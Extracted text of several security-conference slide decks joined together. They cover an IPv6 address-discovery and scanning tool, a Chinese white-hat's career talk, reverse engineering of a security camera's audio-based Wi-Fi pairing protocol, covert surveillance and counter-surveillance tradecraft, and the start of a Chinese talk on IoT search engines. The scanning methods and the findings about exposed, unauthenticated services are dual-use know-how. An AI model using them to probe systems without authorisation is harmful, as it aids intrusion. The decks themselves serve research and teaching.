0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … ●  For every IPv6 address ○  Create a cluster of size 1 ○  For every IPv6 address ■  Evaluate density of cluster with adding address ○  Pick the best upgrade candidate ●  Sort all upgrades by density ●  While scanning budget not exhausted ○  Pick the best density upgrade ○  Evaluate best upgrade candidates from it ○  Add upgraded cluster to cluster set Original Algorithm Not intended to identify new addresses 15mm * 15mm EXPENSIVE! EXPENSIVE! Scanning budget not great for continuous scanning 666gen ●  For every IPv6 address ○  Evaluate best cluster upgrades with adding only one wildcard ●  Remove all clusters that had no good upgrades (stardust) ●  Sort upgrades by density ●  While cluster score still improving ○  Take the next best upgrade ○  Evaluate best cluster upgrades with adding only one wildcard ○  Add the upgraded cluster to the cluster set ○  De-duplicate 15mm significant size reduction no scanning budget expensive! 666gen Generation ●  Select a cluster from cluster set at random ●  For i in 0..32 ○  Roll a weighted die to determine nybble source ■  Generate from stardust probability distribution ■  Generate from selected cluster Fanning Out ●  Fan-out to discover addresses similar to those generated with modeling ●  Addresses with a 1-nybble difference from a newly discovered address ●  Sequentially-neighboring /64 networks and hosts Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 2001:0558:0110:0000:ffff:ffff:0000:0020 Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 2001:0558:0110:0000:ffff:ffff:0000:0020 2001:0558:0110:0000:ffff:ffff:0000:0022 Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 2001:0558:0110:0000:ffff:ffff:0000:0020 2001:0558:0110:0000:ffff:ffff:0000:0022 2001:0558:0110:0000:ffff:ffff:0000:0023 Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 2001:0558:0110:0000:ffff:ffff:0000:0020 2001:0558:0110:0000:ffff:ffff:0000:0022 2001:0558:0110:0000:ffff:ffff:0000:0023 ... 2001:0558:0110:0000:ffff:ffff:0000:002f Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 2001:0558:0110:0000:ffff:ffff:0000:0020 2001:0558:0110:0000:ffff:ffff:0000:0022 2001:0558:0110:0000:ffff:ffff:0000:0023 ... 2001:0558:0110:0000:ffff:ffff:0000:002f ... Nybble-Adjacent Fanout ●  For each discovered address, generate up to 465 candidate addresses, each differing by one nybble ●  15-465 addresses are generated depending on the target network mask ●  Target network 2000::/4 ●  Starting IP address 2001:0558:0110:0000:ffff:ffff:0000:0021 2001:0558:0110:0000:ffff:ffff:0000:0020 2001:0558:0110:0000:ffff:ffff:0000:0022 2001:0558:0110:0000:ffff:ffff:0000:0023 ... 2001:0558:0110:0000:ffff:ffff:0000:002f ... 2101:0558:0110:0000:ffff:ffff:0000:0021 2201:0558:0110:0000:ffff:ffff:0000:0021 2301:0558:0110:0000:ffff:ffff:0000:0021 ... 2f01:0558:0110:0000:ffff:ffff:0000:0021 /64 Sequential Fanout ●  Sequentially fan out from each discovered ::1/64 address ●  /64 networks ○  Neighboring ::1/64 addresses (sequentially increasing and decreasing) ●  Hosts within a /64 ○  Neighboring ::X/64 addresses (sequentially increasing) ●  Target IP Address 2001:0558:0110:2fab::1 /64 Sequential Fanout ●  Sequentially fan out from each discovered ::1/64 address ●  /64 networks ○  Neighboring ::1/64 addresses (sequentially increasing and decreasing) ●  Hosts within a /64 ○  Neighboring ::X/64 addresses (sequentially increasing) ●  Target IP Address 2001:0558:0110:2fab::1 Neighboring /64 networks: 2001:0558:0110:4fa9::1 2001:0558:0110:4faa::1 2001:0558:0110:4fac::1 2001:0558:0110:4fad::1 ... /64 Sequential Fanout ●  Sequentially fan out from each discovered ::1/64 address ●  /64 networks ○  Neighboring ::1/64 addresses (sequentially increasing and decreasing) ●  Hosts within a /64 ○  Neighboring ::X/64 addresses (sequentially increasing) ●  Target IP Address 2001:0558:0110:4fab::1 Neighboring /64 networks: 2001:0558:0110:4fa9::1 2001:0558:0110:4faa::1 2001:0558:0110:4fac::1 2001:0558:0110:4fad::1 ... Neighboring /64 hosts: 2001:0558:0110:4fab::2 2001:0558:0110:4fab::3 2001:0558:0110:4fab::4 ... Is Us Smarter? Improved Discovery Rate v0.2 ●  58,838 addresses found in eight days, ~80% not found in public data sets ●  0.068 new IPs / second v0.3 ●  1.57M addresses found in one hour, ~78% not found in public data sets ●  342.19 new IPs / second 503,234% Improvement MOAR RESULTS ●  Port scanned ~100K addresses from the newly discovered set, testing some common ports ●  Lots of network equipment (both infrastructure and CPE) ●  No-auth Mongo instances ●  Lots of ancient SSH and telnet servers Port Count Port Count Port Count 21 2,593 3000 111 8443 755 22 17,979 3306 643 8888 93 23 2,620 5000 58 27017 7 80 9,604 5432 159 49152 77 443 8,491 8000 155 49153 81 445 173 8080 687 49154 133 To The Cloud Crowdsourced Scan Data ●  How can we make this data more accessible? ●  Users of IPv666 optionally push scan results to the cloud ●  Scan results are aggregated into a queryable datastore IPv666 Online Portal ●  Online portal where users can query the crowdsourced scan result set ●  <placeholder for link to online portal> IPv666 Official v0.4 Release! ●  Install with go get: go get github.com/lavalamp-/ipv666/ipv666 ●  Push crowdsourced scan results to the cloud Was Ist Das? scan discover scan alias generate addresses generate model generate blacklist clean convert Linky Links ●  IPv666 Blog Post https://l.avala.mp/?p=285 ●  IPv666 GitHub Repository https://github.com/lavalamp-/ipv666 Conclusion Recap ●  Background ●  The Scanning Problem ●  Honeypotting for PSLAAC ●  Modeling for non-PSLAAC ●  Being Less Dumb ●  Results ●  To The Cloud ●  IPv666 ●  Conclusion Moar Links ●  Entropy/IP http://www.entropy-ip.com/ ●  6gen https://zakird.com/papers/imc17-6gen.pdf ●  Clustering of IPv6 address structure https://arxiv.org/pdf/1806.01633.pdf ●  IPv6 hitlist https://ipv6hitlist.github.io/ Q&A THANKS! <3 Chris Grayson @_lavalamp Marc Newlin @marcnewlin
pdf
消失的那几年 杨 蔚 301 白帽子的成长独白 2016.07.14 众安天下 关于我 01 90后,连续创业者,黑客理想主义者 02 乌云核心白帽子,大学肄业 03 原乌云合伙人,乌云众测平台负责人 04 北京众安天下科技有限公司创始人兼 CEO,安全自媒体平台出品人(301 在路上) WeChat:2036234 Email:301@allsec.cn 杨 蔚 花名:301 众安天下 CONTENT 消失的那几年哪去了 这几年做到的事情 快速成长的秘笈 安全总结与建议 众安天下 1、消失的那几年哪去了 众安天下 消失的那几年哪去了 WHY? 高考失利,人生太顺,无法接受 WHAT? 网络工作室,把自己关在网络世界 里,但因经营不善,工作室关闭 HOW? 选择继续消失,逃避,不愿他人 看到自己的失意和落魄,退学。 WHERE? 与亲朋好友断绝了联系,失联很 久,在新的地方重新开始创业 一心想挤进"安全圈" 消失的那几年的愿景 众安天下 “大部分人的成长轨迹" 消失的那几年哪去了 众安天下 利用大量精力弥补 消失的那几年哪去了 301,一直在路上 众安天下 消失的那几年哪去了 " 301,什么时候来北京出差。" ——身边所有的声音 众安天下 2、这几年做到的事情 众安天下 高级安全顾问(2012.7—2014.2) • 在国内知名安全咨询公司谷安天下,做渗透测试方向 安全顾问,"野蛮生长" 乌云合伙人,乌云众测负责人(2014—2016.4) • 负责乌云企业商业运营及技术服务、创新业务,服务 企业和白帽子,并完成很多不可能的事情。 众安天下创始人兼CEO(2016年创业在路上) • 安全人才服务、安全内容服务、提供一站式的企业安 全顾问服务等。 这几年做到的事情 众安天下 这几年遇到的事情 "白帽子,不信任,不理解" ——身边大部分的声音 众安天下 "你之所以看不到黑暗" "是因为有人竭尽全力把黑暗挡在你看不到的地方" 这几年遇到的事情 ——暴走大事件主编王尼玛 众安天下 3、快速成长的秘笈 众安天下 第一、健康心态 快速成长的秘笈 众安天下 第二、换位思考 快速成长的秘笈 众安天下 第三、自我驱动 快速成长的秘笈 众安天下 第四、提升效率 快速成长的秘笈 众安天下 第五、自信不自负 快速成长的秘笈 众安天下 第六、合理试错 快速成长的秘笈 众安天下 第七、专业技能 快速成长的秘笈 众安天下 第八、行业知识 快速成长的秘笈 众安天下 4、安全总结和建议 众安天下 "原地踏步就是退步" 安全的建议和总结 众安天下 "最大的对手是自己" 安全的建议和总结 众安天下 "真正懂你的人,不是自己" "而是竞争对手" 安全的建议和总结 众安天下 "执行力是成功的第一生产力" 安全的建议和总结 众安天下 多数失败,死在"快"的路上 安全的建议和总结 众安天下 "大部分人:什么是竞争力? " 安全的建议和总结 众安天下 "把简单的事情做到极致" "就是核心竞争力" 安全的建议和总结 众安天下 "意欲取之,必先予之" 安全的建议和总结 众安天下 "安全是一种能力" "技术转化为生产力" 安全的建议和总结 众安天下 在对的时间里 跟对的人 一起做对的事情 安全的建议和总结 众安天下 “认可、包容、机会 " 安全的建议和总结 ——安全新人们的心音 众安天下 THANK YOU 聚天下英才而用之 以人为本,众安天下 www.allsec.cn 众安天下 301在路上 301@allsec.cn
pdf
Why does my security camera scream like a Banshee? Signal analysis and RE of a proprietary audio-data encoding protocol About Me Love me some codes! Move fast and break things... then fix them! Recipe hacking with delicious results! Hacker Mindset 🤍 Food Software Engineer Opinionated All opinions are my own and may not reflect those of past/present employers Rion Carter www: 7thzero.com Reversing the APK and digging deeper with Ghidra App Analysis 03 Introduction 01 Signal Analysis Capture, visualization and patterns 02 Hacking the Signal Replicate the signal 04 Demo Master the Signal 05 TABLE OF CONTENTS What are we doing here and why this wireless security camera? What Are We Doing Here? And why are we talking about wireless security cameras? 01 Original Goal: Use an inexpensive wireless camera to monitor the garden Inexpensive Camera Sounds easy... What’s the catch? Vendor app requires a login No way to directly configure the camera (lacks BT/AD-HOC WIFI) Good luck finding reliable docs on a $30 camera No self-setup No docs Cloud ‘App’ Lock-in Bespoke Setup Protocol Using Soundwaves Which is what brings us here today ;) Listen to This Listen to This New Goal: Figure out what is going on during camera setup Time to investigate! Hardware Unfortunately, this is not an avenue of investigation The cable supplies power to the camera USB Camera Inspection On boot, the camera enters ‘setup mode’ Setup mode requires the app for pairing The camera does not advertise an Ad-Hoc network or show up as a bluetooth device BT/WIFI Camera Inspection Software JAWA is the app used to configure the ‘Cloud Camera’ Meet JAWA Vendor App Unfettered internet access The App needs something... Vendor App All vendor-app analysis performed on a ‘vintage’ BlackBerry Priv Time for a ‘test’ device Vendor App Searching for terms like ‘Amiccom’, ‘Smart IP Camera’, and ‘audio pairing wifi camera’ didn’t turn up a whole lot. Expanding the search found additional cameras that may use a similar pairing technique, though... ● Imou Cue 2, Ranger 2, LOOC, Bullet Lite, Ranger Pro Not much online... Interestingly enough, I found examples of cheap cameras that use a less-flaky approach (QR Code Scanning) in place of audio pairing: ● BESDER 1080P Cloud Storage Wireless PTZ IP Camera ● Swann Indoor/Outdoor Wireless 1080p WiFi Security Camera It sounds... Intriguing? Signal Analysis 02 What should we try? Capture & Visualize Capture the signal, use tools to visualize the signal Reptition Are there any parts of the signal that repeat? Replay & Variation What differences stand out? Any outliers? Patterns where variated output is observed? Fuzzing / Simulation Take control of the input and examine the output Capture viewed in Audacity Eyeball analysis: could this be like an old dial-up modem? It definitely sounds funky Confirmed: Not a Modem Camera Comm Signal 56k Modem Spectrographs are substantially different Eyeball analysis ● Collapsed-Spectrograph view shows output in 3000Hz → 5000Hz range ● Quick eyeballing of the graph shows a few areas of interest Can we get more precise? Pretty pictures can only take us so far Manual Mode Use Labels in Audacity: ● Position the cursor over each frequency time-slice ● Press Ctrl-B to add the label ● This will cause Audacity to calculate the frequency of each tone Manual Mode View the Labels in Audacity: ● Click on Edit → Labels → Edit Labels... ● Audacity will show a list of labels ● This list of labels will include frequency information ● Press the Export button to get this in a text file for analysis Manual Mode Zoomed-view of frequency detection What do we know now? What do we know now? Despite the audible- medium, the signal is digitized in coded tones Tones are in the 3Khz to 5Khz range Outliers at the top and bottom of the spectrum warrant a closer look Consistent Range Control Signals...? Tone-encoded Repetition The complete sequence repeats several times Not ‘Binary’ The signal isn’t two- toned or ‘directly’ sending 1’s and 0’s Not 56k Modem! Spectral analysis does not match Can we go further with Manual Mode? Can we go further manually? Yes, with caveats: ● Variability of audio playback and capture gets old ● You’ll tire of this quickly ● It would be great to identify exact frequencies used ● Audacity frequency analysis gets you ‘close’ ● You’ll find variation in the detected frequency depending on which tone you check ● No API is readily available to leverage this Audacity functionality ● Also no readily available CLI option for us to script... What are the manual mode options? Black-box signal reversing ● Brute-force reproduction of tones ● Attempt to match generated tones with the spectrograph ● Fuzz/generate permutations of the signal until you find a match We have a better way... Next Up: Reverse-engineer the App to understand the signal protocol We have the vendor app, so let’s take a closer look App Analysis: Reversing the APK 03 What are our options? What are our options? Leverage Android debug log to picture the runtime state Reverse compiled code Attribute meaning to code that’s lost its context Decompile De-Obfuscate Execute and Log String Search Look for strings or constants to aid in our understanding Key Methods Obfuscation may not strip out all meaning High-Speed Fuzz Leverage code to automate brute-force where necessary Preparation 1. Enable Developer Mode on your Android test device – Go to ‘Settings’ and find the ‘Software Information’ for your device – Tap the Build number field 7 to 10 times 2. Allow USB Debugging – Go to ‘Settings’ and find ‘Developer options’ (which appears after step 1) – Flip the slider to enable/allow ‘USB debugging’ when USB is connected 3. Ensure you have Android Studio installed (includes the adb command) 4. Verify that adb is correctly installed and that USB debugging is propery enabled on your test device: – Plug in your device – Run this command: ● adb shell pm list packages | tail (You should see a list of packages) Prepare Your Computer to Pull the APK Extract the APK To find and extract the camera app APK, follow these commands: 1. Open a terminal which can execute adb 2. Execute: adb shell pm list packages | awk -F':' '{print $2}' | grep jawa 3. With the package name from step 2, execute: adb shell pm path com.jawa.cam | awk -F':' '{print $2}' 4. Use output from step 3, execute: adb pull /data/app/com.jawa.cam-1/base.apk (Note: The path varies per-device, so use your output!) 5. Rename the APK to something usable: mv base.apk com.jawa.cam.apk 6. Sample Output: Decompile the APK: JADX For this analysis, I used JADX 1. Visit https://github.com/skylot/jadx/releases 2. Download the latest release 3. Extract the archive 4. ./jadx ~/tmp/apk/com.jawa.cam.apk -d ~/tmp/apk/jawa-decompiled Example Decompile the APK: Android Studio Load the decompiled APK into an IDE 1. Ensure you have Android Studio installed 2. Select File -> Open and select your decompiled sources 3. Click the Configure button to setup the Android framework Decompile the APK: Android Studio Behold: the loaded project! It holds the Secrets of the Grid Quick Note on Obfuscated Code A Note on Obfuscation What is obfuscation? ● Software makers try to hide what their software does ● With higher level languages you get terse, ‘randomly’ generated identifiers ● Harder to obfuscate the use of system libraries than their own code A Note on Obfuscation Why Android Studio for de-obfuscation? ● Easily re-factor throughout the project ● Find Usages and Go To Declaration ● Integrated LogCat search bar ... Still a frustratingly manual proceess Live Log Analysis Live Log Analysis Setup ● Plug in your Android Test Device ● Select the LogCat tab in the bottom window ● Enter this in the Search field and check the Regex box: ● OutAudio|PRETTYLOGGER|jawa|Decode Logs on App Startup Live Log Analysis Login Screen Live Log Analysis: App Startup/Login Hmm... looks interesting Live Log Analysis: App Startup/Login On startup, we find log entries that could be useful: ● Distinctive characters: biz 加密前 ● URL: https://ap.jawalife.net/jawa/login.do ● UrlParams with a lot of data ● And a lot more log messages off screen Let’s see what else turns up Logs on Camera Pairing Live Log Analysis Let’s see what we see! Live Log Analysis Let’s see what we see! Live Log Analysis: Pairing A few areas standout Live Log Analysis Let’s see what we see! Live Log Analysis Let’s see what we see! Live Log Analysis: Pairing – Sound Waves Doesn’t look like much? Think again! Notable string: myList size A couple of other items, probably more related to phoning home: ● ByteArrayRequest ● New URL endpoint ‘checkBindVoice.do’ Live Log Analysis: Pairing During the pairing process we discovered ● More distinctive characters, followed by the SSID, Password and... something else?: – 声波信息— >DEFCON29-29IsOnline-87gz811 ● A class to investiate: – com.ithink.activity.camera.BindDeviceNewActivity ● An HttpRequestHelper used to phone-home with details about the pairing session – The request includes the email associated with my ‘cloud account’ Where does this lead? Search for Strings com.ithink.activity.camera.BindDeviceNewActivity ● Searching within the project for 声波信息 uncovered a method ● Aside from the expected (SSID/Password), we see: – 0x01 used to delimit fields – A smartCode (?) – The string “1” appended at the end (MSG_DB_NOTIFY_REACHED = “1”) My guess is this is a decompilation artifact Search for Strings: What is a SmartCode? It appears to be randomly-generated for each pairing attempt in getBundleExtras(Bundle bundle) Search for Strings: What is a SmartCode? ● It’s a random code, used by the camera when it phones home to link up to our cloud profile – this.smartCode = getCharAndNumr(6); – Definition of getCharAndNumr: Yes, but what _is_ a smartCode? Search for Strings: What Else? Check another string from log analysis: myList size It looks like the magic happens in these 2 methods: ● run() ● playVoice() Extractive Analysis Extractive Analysis At this point we’ve learned a lot about the codebase We can extract the code we need to automate our analysis and place it into a clean project Extractive Analysis A couple of notes on project setup ● You may need to manually create your jniLibs folder – Inside you’ll need to place all the contents of the donor project’s lib/jniLibs directory ● The package/class name has to match what you pull from the donor project, or it won’t load Once configured, you’ll be able to automate a black-box analysis of the compiled library A Question Answered VCodeTable holds the key to digit/frequency mapping We found this by extracting the class into a test project and executing it. A Question Answered VCodeTable holds the key to digit/frequency mapping We found this by extracting the class into a test project and executing it. 0=3000Hz 1=3125Hz 2=3250Hz 3=3375Hz 4=3500Hz 5=3625Hz 6=3750Hz 7=3875Hz 8=4000Hz 9=4125Hz A=4250Hz B=4375Hz C=4500Hz D=4625Hz E=4750Hz F=4875Hz Findings Findings Starting in com.ithink.voice.OutAudio and tracing, we find: 1. AudioTrack to play the signal – Appears to be 3 blocks to a single transmission 2. strInput == getUserinfo(), which contains: – SSID, Password, Random ‘smartcode’ 3. Control tones: – AudioRegCommon.FREQ_BEGIN and FREQ_END 4. Space Tone is used to split up identical tones – Ensures the receiver can discern between 2 distinct tones and not one ‘long’ tone 5. play1Char which points us to: – VcodeTable class which maps digits to frequency tones. Looks like Hex encoding! 6. The use of CRC values – GetCrcVal(String str) uses a shifted CRC32 for error correction 7. An opaque VoiseStruct class that loads a library by the same name – If we need to drill-down into this library we will require a binary decompiler Findings Using what we know we can: ● Reconstruct Section 1 ● Reconstruct Section 2 Section 1 Section 2 Findings Section 3 is incomplete 1. We know everything except for one signal in section 3 – This appears to be an error correction code of some kind(?) To uncover the remaining secrets of section 3, we need binary analysis Unknown Sgnal blocks 2 and 3 are generated by VoiseStruct. Reversing compiled code requires a binary analysis tool. Ghidra is the tool I’ll be using Get Setup with Ghidra ● Visit https://github.com/NationalSecurityAgency/ghidra/releases – Pull the latest version ● Follow the installation guidance for your platform: – https://github.com/NationalSecurityAgency/ghidra#install Get Setup with Ghidra ● Open a new project – File -> New Project -> Fill out wizard – Click the ● Import the library: – File -> Import File – jawa-decompiled/resources/lib/x86_64/libvoisestruct.so – Import with default options – Select Yes to analyze the file Get Setup with Ghidra RE With Ghidra Identify which Library functions are used ● From within Android Studio we find these functions are used RE With Ghidra RE With Ghidra Investigate the Library ● Examine the Symbol Tree to find the JNI functions – Java_com_ithink_voice_VoiseStruct_getAmplitude – Java_com_ithink_voice_VoiseStruct_getAudioSample – Java_com_ithink_voice_VoiseStruct_getFreqDuration – Java_com_ithink_voice_VoiseStruct_getVoiseStructGoke1 – Java_com_ithink_voice_VoiseStruct_getVoiseStructGoke2 – Java_com_ithink_voice_VoiseStruct_getVoiseStructV3s RE With Ghidra RE With Ghidra RE With Ghidra A Closer Look at what we see in Ghidra Pick a Function and Dig In Ghidra: Analyze a Function Key function: getVoiseStructGoke2 – Generates Signal sections 2 and 3 – Here’s what we see in Android Studio: ● 8 arguments passed to getVoiseStructGoke2 Ghidra: getVoiseStructGoke2 – Appears to be a parameter count mis-match. This is related to JNI ● 8 params passed from Java ● 10 params in Ghidra Ghidra: Analyze a Function A Note on JNI Digging Deeper: A Word on JNI The argument-count did not line up between Android and the JNI library call This is due to JNI Calling Conventions ● There are 2 additional arguments as part of the specification: – JNIEnv pointer – Jobject ● These 2 params are front-loaded to the function signature Digging Deeper: A Word on JNI Raw decompiled view Refactored in Ghidra * I couldn’t rename param_2 to jobject as it’s not actually used in the library call Continue the Analysis Ghidra: Analyze a Function Function Decompiler View Continued analysis of getVoiseStructGoke2: ● FUN_00109930 leverages our inputs ● First, let’s cleanup this view... Ghidra: Analyze a Function Cleaned-up view of getVoiseStructGoke2: ● FUN_00109930 renamed to `Section2and3Generator` ● Time to dig-deeper ● We want to identify the final code that is missing from our waveform Ghidra: Analyze a Function Raw view of Section2and3Generator ● Kind of terse ● We need more descriptive identifiers Ghidra: Analyze a Function Section2and3Generator deciphered ● Start with what you know ● Once you find a good starting point, the rest of symbol names fall into place ● There can be value even if you don’t get the names 100% correct ● Critical section highlighted, which is what I need to reproduce the signal – To accurately reproduce the signal, I need to take the CRC value of the SSID and shift it Ghidra: Analyze a Function Zero-in on the section: Needs another bitshift! issidCrcMangled = (undefined)((ushort)ssidCrc >> 8); Ghidra: Analyze a Function Can We Recreate It? Hack the Signal 04 Let’s look at what we know The Waveform: What we know 1. The waveform is comprised of 3 sections of hexified data 2. Each section is prefixed and suffixed by control codes and section identifiers 3. When 2 sequential tones are identical, a space tone is used between them 4. The duration of each tone is around 50 / 60 milliseconds 5. We know the structure of each waveform section 1. FREQ_BEGIN 2. FREQ_BEGIN 3. 0x01 4. SSID_BYTES 5. 0x01 6. PASSPHRASE_BYTES 7. 0x01 8. SMARTCODE_DIGITS 9. CRC(0x01+SSID_BYTES+0x01+PASSPHRASE_BY TES+0x01+SMARTCODE+”1”) 10. FREQ_END 11. FREQ_END Section 1 Signal Structure 1. FREQ_BEGIN 2. FREQ_BEGIN 3. 0x12 4. SMARTCODE >> SHIFTED8 5. (SMARTCODE >> SHIFTED) >> SHIFTED8 6. CRC(0x12+(SMARTCODE>>SHIFTED8)+ (SMARTCODE>>SHIFTED8>>SHIFTED8)) 7. FREQ_END 8. FREQ_END Section 2 Signal Structure 1. FREQ_BEGIN 2. FREQ_BEGIN 3. 0x02 4. CRC(SSID_BYTES) 5. CRC-SHIFTED(SSID_BYTES) 6. SMARTCODE%16 (x2/4) 7. PASSPHRASE_BYTES 8. CRC(0x02+CRC(SSID_BYTES)+CRC-SHIFTED(SSID_BYTES) +SMARTCODE>>SHIFTED8+PASSPHRASE_BYTES) 9. FREQ_END 10. FREQ_END Section 3 Signal Structure Yes, we can reproduce the signal! Demo 05 THAMYRIS: Replicate The Audio Protocol Demo 05 Limitations 1. Can’t easily discover the camera’s admin password – It’s 6 HEX Characters – Password changes each time camera is reset, not tied to MAC or Serial# 2. Unable to decipher camera -> cloud communication – Camera has a local RSA keypair, that may change on each reset – Encrypted payloads are sent to the server – So, even though you can intercept the comm with a self-signed MITM, you can’t see or make sense of the payload t 3. You get what you pay for – Even when you know the password, it won’t always connect (VLC is my ‘go to’) JANE BLOGGS THANKS 7thzero.com github.com/7thzero JANE BLOGGS Technical References ● JADX: Dex to Java Decompiler - https://github.com/skylot/jadx ● Efficiency: Reverse Engineering with ghidra - http://wapiflapi.github.io/2019/10/10/efficiency-reverse- engineering-with-ghidra.html ● Guide to JNI (Java Native Interface) - https://www.baeldung.com/jni ● JDSP - Digital Signal Processing in Java - https://psambit9791.github.io/jDSP/transforms.html ● Understanding FFT output - https://stackoverflow.com/questions/6740545/understanding-fft-output ● Spectral Selection and Editing - Audacity Manual - https://manual.audacityteam.org/man/spectral_selection.html ● Edit>Labelled Audio>everything greyed out - https://forum.audacityteam.org/viewtopic.php?t=100856 ● Get a spectrum of frequencies from WAV/RIFF using linux command line - https://stackoverflow.com/questions/21756237/get-a-spectrum-of-frequencies-from-wav-riff-using-linux- command-line ● How to interpret output of FFT and extract frequency information - https://stackoverflow.com/questions/21977748/how-to-interpret-output-of-fft-and-extract-frequency- information?rq=1 ● Calculate Frequency from sound input using FFT - https://stackoverflow.com/questions/16060134/calculate- frequency-from-sound-input-using-fft?rq=1 ● Intorduction - Window Size - https://support.ircam.fr/docs/AudioSculpt/3.0/co/Window%20Size.html ● Android: Sine Wave Generation - https://stackoverflow.com/questions/11436472/android-sine-wave- generation ● Android Generate tone of a specific frequency - https://riptutorial.com/android/example/28432/generate- tone-of-a-specific-frequency ● Android Tone Generator - https://gist.github.com/slightfoot/6330866 ● Android: Audiotrack to play sine wave generates buzzing noise - https://stackoverflow.com/questions/23174228/android-audiotrack-to-play-sine-wave-generates-buzzing- noise CREDITS: This presentation template was created by Slidesgo, including icons by Flaticon, and infographics & images by Freepik Credits
pdf
Wagging&the&Tail&–&&Covert&Passive&Surveillance&and& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&how&to&make&their&life&difficult Are&You&A&Target? Three&Letter&Agencies&(TLA) NSA FBI CIA Heat&States •The&Pickup& •The&Follow& •The&Housing Stages&of&Surveillance •Static&Observation&Post& •Static&Covert&Camera& •Mobile&Observation&Post The&Pickup OP&Van •Static&Observation&Post& •Static&Covert&Camera& •Mobile&Observation&Post& •Surveillance&Vehicle The&Pickup A&Boot&Fit? Brevity&Codes Standby.&&That’s&the&target&out&of&his&house&wearing&a&red&baseball&cap,&blue&top,& grey&trousers&and&black&shoes.&& Target&getting&into&his&car.&&Now&moving&off&turning&left&towards&the&junction&of& High&Street&and&Water&Lane. 77.&&Alpha&One&from&Charlie&One.&&Blue&on&Grey.&&Black&shoes,&Red&Baseball&cap.& Complete&Bravo&One.&&Mobile&91&Yellow&Two Spot&Maps Target&vehicle&approaching&the&junction&of&the&B4668&and&A47.&&Target&indicating&right.&&Target&now&turned&right& heading&towards&Earl&Shilton Spot&Maps Bravo&One&at&Red&Six&intending&right.&&Bravo&One&committed&right&91&Red&Five 6 5 4 3 1 2 3 4 5 6 7 8 9 Vehicles •Vary&your&route& •Use&Public&Transport& •Call&a&Cab Vehicle&Counter&Surveillance On&A&Long&Look OpenALPR https://github.com/openalpr/openalpr & Nosey&Parking Surveillance&Stereotypes Surveillance&Stereotypes Surveillance&Stereotypes Surveillance&Stereotypes Earpiece Inductive&Neck&Loop Antenna Pressel&Switch Complete&Kit Change&of&Appearance& Change&of&Appearance& Shoes Watches Jewellery& Use&Your&Surroundings Use&Your&Surroundings Use&Your&Surroundings Use&Your&Surroundings Decisions&Decisions Decisions&Decisions Decisions&Decisions Decisions&Decisions Hostile&Environments Hostile&Environments Hostile&Environments Misdirection Misdirection Misdirection Speech&Levels Mummy&why&is&that&strange&man&talking&about&martians&holding&sparkers? Si,&I&have&control.&&The&target&is&moving&towards&the&High&Street.& Be&aware&that&civilian&police&have&stopped&at&the&traffic&lights. Si&55,&Alpha&One&91&High&Street.&&Be&aware&martians&held&sparklers. Richard&and&Cynthia&Murphy Richard&and&Cynthia&Murphy Vladimir&and&Lidiya&Guryev •Use&the&environment& •Decisions& •Divide&and&conquer& •Make&toast!& •If&in&doubt&ABORT Summary &&&&&&&&&@SecuritySense& &&&&&&&&&@Agent_&_X_&_
pdf
Came Saw Conquered 网络空间中的IoT安全 ID:ppprince From:中国科学院信息工程研究所 物联网信息安全北京市重点实验室 yanzhaoteng@iie.ac.cn 2016年9月2日星期五2时21分16 秒 Part. 01 引言 1 物联网时代的到来  2013年,物联网处于上升期  2014年,物联网取代大数据登上了成熟度曲线的最高点  2015年,物联网仍位于顶点  联网设备数:2015年49亿,2020年260亿(Gartner) Emerging Technologies of 2015 物联网终端 电力/工业 轨道交通 家居生活 保密场所 物理空间 IoT 物联网时代的到来 智能家居 智能楼宇 智能电网 可穿戴计算 城市视频监控 城市供水和燃气 泛 在 的 设 备 互 联 物联网带来变革  改变了生活方式的改变,更加便利和智能(智能家居、智能医疗)  改变了生产方式、提高生产力(工业互联网、农业互联网)  改变了管理模式(智慧社区、智能城市)  推进了社会的发展历程 万物互联到物联网搜索 搜索空间的拓展 从人类世界到物理世界 从文档网页到实体设备 物 理 空 间 物联网体系 物联网搜索使搜索对象从文档网页扩 展到异构实体设备和动态数据流  搜索对象规模与复杂性膨胀  资源容量和复杂程度显著提升  实体资源与服务对应多样化  是物联网潜在的“杀手”级应用 互联网体系 搜索引擎将庞大、复杂的互联网资 源从地址索引映射为内容索引  成为信息与知识发现的入口  提升了用户访问接口的语义层次  降低了用户使用网络资源的门槛  是互联网高速发展的核心催化剂 网 络 空 间 互联网搜索  改变了人们获取信息的获取方式  会议文献、期刊论文  电影、歌曲、歌星、影星等娱乐信息  旅游景点  地图  Google  Google Hacking  百度  百度一下,你就知道 人肉搜索! 物联网搜索  发现设备找到服务  旅游信息-摄像头在线  天气信息  企业产品的分布  多少产品在线,分布等  连接在互联网上的品牌排名  安全事件分析和防护  心脏出血漏洞的态势感知  重大安全事件的全球影响分布 物联网搜索引擎  Shodan --“黑暗谷歌”  John Matherly于2009年发布  第一个物联网设备搜索引擎  采用基于端口和协议标语抓取的方式,利用端 口扫描工具在全球IP地址中进行查询,并对返 回标语信息进行存储和整理,进而提供索引服 务  在全球至少8个地点部署搜索服务器:美国东西 海岸、中国、冰岛、法国、台湾、越南、罗马 尼亚、捷克等  搜索端口达200多个,24h×7不间断扫描,从 2009年维护至今。  